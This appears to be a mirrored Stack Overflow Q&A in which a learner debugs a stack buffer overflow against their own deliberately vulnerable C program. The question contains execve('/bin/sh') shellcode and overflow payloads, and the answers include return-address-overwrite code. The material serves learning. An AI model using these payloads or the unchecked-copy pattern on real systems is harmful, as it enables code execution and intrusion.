繁体   English   中英

为什么我的堆栈缓冲区溢出漏洞无效?

[英]Why is my stack buffer overflow exploit not working?

所以我有一个非常简单的stackoverflow:

#include <stdio.h>

int main(int argc, char *argv[]) {

    char buf[256];
    memcpy(buf, argv[1],strlen(argv[1]));
    printf(buf);

}

我正试图溢出这段代码:

$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")

当我溢出堆栈时,我成功地用我想要的地址覆盖EIP但是没有任何反应。 它不会执行我的shellcode。

有谁看到这个问题? 注意:我的python可能是错误的。


UPDATE

我不明白的是为什么我的代码没有执行。 例如,如果我将eip指向nops,那么nops永远不会被执行。 像这样,

$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")

UPDATE

有人可以在linux x86上自己利用这个溢出并发布结果吗?


UPDATE

没关系,我把它弄好了。 感谢你的帮助。


UPDATE

好吧,我以为我做到了。 我确实得到了一个shell,但现在我又在尝试,我遇到了问题。

我正在做的就是在开始时溢出堆栈并指向我的shellcode。

像这样,

r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')

这应该指向A的。 现在我不明白为什么我的地址最后在gdb中被改变了。

这就是gdb给我的,

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()

\\ xcc变为\\ xcd。 这可能与我用gdb得到的错误有关吗?

例如,当我用“B”填充该地址时,它可以使用\\ x42 \\ x42 \\ x42 \\ x42解决。 什么给出了什么?

任何帮助,将不胜感激。

另外,我正在使用以下选项进行编译:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c

这真的很奇怪,因为除了我需要的地址之外,任何其他地址都有效。


UPDATE

我可以在gdb中成功生成带有以下内容的shell,

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

但是我不明白为什么它有时会起作用而在其他时候不起作用。 有时我的覆盖eip会被gdb更改。 有谁知道我错过了什么? 此外,我只能在gdb中spwan一个shell而不是正常的进程。 最重要的是,我似乎只能在gdb中启动一次shell然后gdb停止工作。

例如,现在当我运行以下内容时,我在gdb中得到了这个...

Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()

这似乎是由execstack打开引起的。


UPDATE

是的,由于某种原因,我得到了不同的结果,但这个漏洞现在正在发挥作用。 谢谢大家的帮助。 如果有人能解释我上面收到的结果,我会全力以赴。 谢谢。

对于直接来自编译器的攻击,有几种保护措施。 例如,您的堆栈可能无法执行。

readelf -l <filename>

如果你的输出包含这样的东西:

GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

这意味着你只能在堆栈上读写(所以你应该“返回libc”来生成你的shell)。

还有一个金丝雀保护,这意味着你的变量和指令指针之间有一部分内存,它包含一个检查完整性的短语,如果它被你的字符串覆盖,程序将退出。

如果您在自己的程序中尝试此操作,请考虑使用gcc命令删除一些保护:

gcc -z execstack

还有关于程序集的注释,通常在shell代码之前包含nops,因此您不必定位shell代码启动的确切地址。

$(python -c "print '\\x90'*37 +'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80' + 'A'*200 + '\\xc8\\xf4\\xff\\xbf'")

请注意,在应放在指令指针内的地址中,您可以修改最后的十六进制数字以指向nops内的某个位置,而不一定位于缓冲区的开头。

当然,如果你尝试这样的话, gdb应该成为你最好的朋友。

希望这可以帮助。

这样做不会太好[如书面说明]。 但是,这可能的,所以请继续阅读......


有助于了解调用main函数时实际的堆栈布局。 这比大多数人意识到的要复杂一些。

假设一个POSIX OS(例如linux),内核会将堆栈指针设置为固定地址。

内核执行以下操作:

它计算环境变量字符串需要多少空间(即所有环境变量的strlen("HOME=/home/me") + 1 ,并在向下[朝向较低内存]方向将这些字符串“推”到堆栈上。然后它计算有多少(例如envcount )并在堆栈上创建char *envp[envcount + 1]并使用指向给定字符串的指针填充envp值。它null终止此envp

argv字符串进行了类似的处理。

然后,内核加载ELF解释器。 内核使用ELF解释器的起始地址启动进程。 ELF解释器[最终]调用“start”函数(例如来自crt0.o _start ),它执行一些init然后调用main(argc,argv,envp)

这是[类型]当main被调用时堆栈的样子:

"HOME=/home/me"
"LOGNAME=me"
"SHELL=/bin/sh"

// alignment pad ...

char *envp[4] = {
    // address of "HOME" string
    // address of "LOGNAME" string
    // address of "SHELL" string
    NULL
};

// string for argv[0] ...
// string for argv[1] ...
// ...

char *argv[] = {
    // pointer to argument string 0
    // pointer to argument string 1
    // pointer to argument string 2
    NULL
}

// possibly more stuff put in by ELF interpreter ...

// possibly more stuff put in by _start function ...

x86argcargvenvp指针值被放入x86 ABI的前三个参数寄存器中。


这是问题[问题,复数,实际上] ......

所有这一切都完成之后,你几乎不知道shell代码的地址是什么。 因此,您编写的任何代码都必须是RIP相对寻址,并且[可能]使用-fPIC构建。

并且,结果代码中间不能有零字节,因为这[由内核]作为EOS终止字符串传送。 因此,一个具有零的字符串(例如<byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,... )只会传输前三个字节而不是整个shell代码程序。

你也不知道堆栈指针的值是什么。

另外,你需要找到 它的返回地址(即这是启动功能的什么堆栈中的存储器字call main汇编指令将)。

包含返回地址的单词必须设置为shell代码的地址。 但是,它并不总是具有相对于main堆栈帧变量(例如buf )的固定偏移量。 因此,您无法预测要修改的堆栈上的哪个单词以获得“返回shellcode”效果。

此外,在x86架构上,还有一些特殊的缓解硬件。 例如,页面可以标记为NX [无执行]。 这通常针对某些段(例如堆栈)完成。 如果RIP更改为指向堆栈,则硬件将发生故障。


这是[简单]解决方案......

gcc有一些可以提供帮助的内在函数: gcc __builtin_return_addressgcc __builtin_frame_address

因此,从内在函数中获取实际返回地址的值[call this retadr ]。 获取堆栈帧的地址[调用此fp ]。

fp开始并递增(通过sizeof(void*) )向更高的内存,找到与retadr匹配的retadr 此内存位置是您要修改以指向shell代码的位置。 它可能会偏移0或8

那么,那么做: *fp = argv[1]并返回。

注意,可能需要额外的步骤,因为如果堆栈设置了NX位,则argv[1]指向的字符串如上所述位于堆栈上。


以下是一些有效的示例代码:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>

void
shellcode(void)
{
    static char buf[] = "shellcode: hello\n";
    char *cp;

    for (cp = buf;  *cp != 0;  ++cp);

    // NOTE: in real shell code, we couldn't rely on using this function, so
    // these would need to be the CPP macro versions: _syscall3 and _syscall2
    // respectively or the syscall function would need to be _statically_
    // linked in
    syscall(SYS_write,1,buf,cp - buf);
    syscall(SYS_exit,0);
}

int
main(int argc,char **argv)
{
    void *retadr = __builtin_return_address(0);
    void **fp = __builtin_frame_address(0);
    int iter;

    printf("retadr=%p\n",retadr);
    printf("fp=%p\n",fp);

    // NOTE: for your example, replace:
    //   *fp = (void *) shellcode;
    // with:
    //   *fp = (void *) argv[1]

    for (iter = 20;  iter > 0;  --iter, fp += 1) {
        printf("fp=%p %p\n",fp,*fp);
        if (*fp == retadr) {
            *fp = (void *) shellcode;
            break;
        }
    }

    if (iter <= 0)
        printf("main: no match\n");

    return 0;
}

尝试执行堆栈缓冲区溢出时,我遇到了类似的问题。 我发现我在GDB中的返回地址与正常流程中的返回地址不同。 我做的是添加以下内容:

unsigned long printesp(void){
    __asm__("movl %esp,%eax");
}

并且在Return之前在主右边的末尾调用它以了解堆栈的位置。 从那里我刚刚玩了这个值从打印的ESP减去4直到它工作。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM